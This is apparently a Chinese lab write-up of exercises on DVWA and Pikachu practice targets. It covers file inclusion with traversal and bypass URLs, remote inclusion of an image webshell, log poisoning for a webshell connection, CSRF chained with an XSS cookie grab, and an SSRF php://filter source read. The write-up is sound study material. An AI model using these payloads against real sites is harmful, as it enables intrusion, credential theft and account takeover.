html、javascript、docker,文件上传、DVWA靶场文件包含、目录遍历、CSRF漏洞练习、SSRF漏洞练习

1、文件包含


(1)DVWA环境下去包含其他目录的任意3个文件,要求使用相对路径

low

使用../去包含其他目录

使用很多的../穿越到网站系统的根目录,然后访问根目录下的文件

http://192.168.57.100:8082/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd

Medium

网站把,,/进行替换为空,但是没有循环,只替换了一次,所以采用双写绕过

http://192.168.57.100:8082/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//etc/passwd

High

源代码

只能是file开头的参数才能绕过,所以使用file协议

http://192.168.57.100:8082/vulnerabilities/fi/?page=file:///etc/shells

(2)远程文件包含

在电脑构造一个info.php文件(便于一会dvwa包含远程的这个文件)

然后启动phpstudy,构造一个远程环境,方便被包含

把刚刚构造好的php文件放到phpstudy的www网站根目录下,然后访问该文件

远程环境搭建完成,打开dvwa包含远程的这个php文件

192.168.57.100:8082/vulnerabilities/fi/?page=http://192.168.57.66/info.php

成功在dvwa靶场远程包含到本机的文件,但是发现该文件是把在远程的机器的解析的结果包含在网页,没有达到攻击的目的

所以我们不应该使用会被直接的解析的php文件

构造一个图片马

放到网站根目录,重新包含

成功解析到靶机的php版本


(3)中间件日志包含绕过,要求使用蚁剑连接成功

因为我们在DVWA中,apache回记录我们的访问日志,apache2日志文件路径为: /var/log/apache2/access.log

所以我们只需要构造恶意的日志就可以让文件包含来包含该文件,实现漏洞利用

chmod 755 /var/log/apache2
chmod 644 access.log

修改权限,让web端可以访问该日志文件

启动burp抓一个刷新网页的包

Cookie: Hm_lvt_435408cf352a14d68ef6861b9d51158c=1743069587; BEEFHOOK=EYGE6OgeQniAJfial39Vt4q51CZCZQdydG7GEHJFtEDGTpb5G1jrurLz3CsIpr6PxjDNv7z4eQcGeISM; PHPSESSID=rjai4t2osp377ova9kbcj5l0e1; security=low

修改包

重新访问该文件

使用蚁剑连接

需要填写刚刚准备好的cookie值

成功连接


2、CSRF


(1)DVWA-High等级

使用高等级后,在CSRF的修改请求中会携带用户token

所以必须得知道这个token,不然有不可控变量时无法构成CSRF漏洞攻击

这里和XSS漏洞结合一下

先使用XSS在用户的dvwa获取到用户的cookie

<img src=x onerror=alert(document.cookie)>

m_lvt_435408cf352a14d68ef6861b9d51158c=1743069587; BEEFHOOK=EYGE6OgeQniAJfial39Vt4q51CZCZQdydG7GEHJFtEDGTpb5G1jrurLz3CsIpr6PxjDNv7z4eQcGeISM; PHPSESSID=c87n0tv9p40nergvin99mlsbp6; security=high

然后在自己浏览器的dvwa里面抓一个刷新CSRF界面的包

把用户的cookie放过进去,然后服务器又只通过cookie来识别身份,所以这里是冒充用户进行请求,返回的请求包一定会有用户的token

d24f596dede01a7b23118e8ba7303231

利用这个token构造恶意URL,可以通过短链接处理一下

http://192.168.57.100:8082/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=d24f596dede01a7b23118e8ba7303231#

 回到被攻击的浏览器,让admin用户访问我们构造的恶意URL

最终实现密码修改

(2)使用Burp生成CSRF利用POC并实现攻击

先使用不同的两个浏览器,模拟普通用户和攻击者

最终想要实现修改allen用户的信息

先使用burp抓Vince修改信息的包

鼠标右键数据包,选择构建CRFpoc

然后把poc保存为html文件,使用被攻击者的浏览器打开这个文件


3、SSRF:file_get_content实验,要求获取ssrf.php的源码

file_get_contents() 函数的作用是把整个文件读入一个字符串中

直接用用它原本的http读取这个文件ssrf

发现只会读取到网页,得不到源代码

然后换一个思路

可以使用php://filter来读取文件,这个可以把文件内容读出来

构造URL来读取ssrf.php

http://192.168.57.100:8083/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php

但是网站有php环境,会把读取出来的代码解析到网页上,无法知道源代码

所以需要对读取的内容处理一下,使用php://filter的其他参数,在read参数中加入 convert.base64-encode可以把读取的内容进行base64编码

http://192.168.57.100:8083/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

然后把这段加密的密文进行解密

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "ssrf.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';






?>


<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="ssrf.php"></a>
                </li>
                <li class="active">概述</li>
            </ul>
        </div>
        <div class="page-content">

         <b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
         <p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
            导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
            <br>
            数据流:攻击者----->服务器---->目标地址<br>
            <br>
            根据后台使用的函数的不同,对应的影响和利用方法又有不一样
            <pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
            </pre><br>
            如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
            <br>

            你可以根据"SSRF"里面的项目来搞懂问题的原因

        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->



<?php
include_once $PIKA_ROOT_DIR . 'footer.php';

?>


4、文件包含、目录遍历和SSRF有什么区别?

文件包含、目录遍历和SSRF是三种不同的安全漏洞,核心区别在于攻击目标和利用方式:

​文件包含​​通过动态加载文件include实现代码执行或敏感文件泄露,包含对象为文件系统(本地或远程),通常包含远程为了代码执行,包含本地为了查看敏感文件
​​目录遍历​​通过绕过路径限制(如../)直接访问未授权文件(如读取/etc/passwd),但通常不涉及代码执行
​​SSRF​​利用服务器发起恶意网络请求,通常是借助这个服务器作为跳板,攻击目标是其他系统而非本地文件
​​防御重点​​:文件包含需限制动态包含操作,使用白名单,目录遍历需规范化路径,禁止敏感文件在互联网暴露,SSRF需严格校验请求目标并禁用高危协议(如file://)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值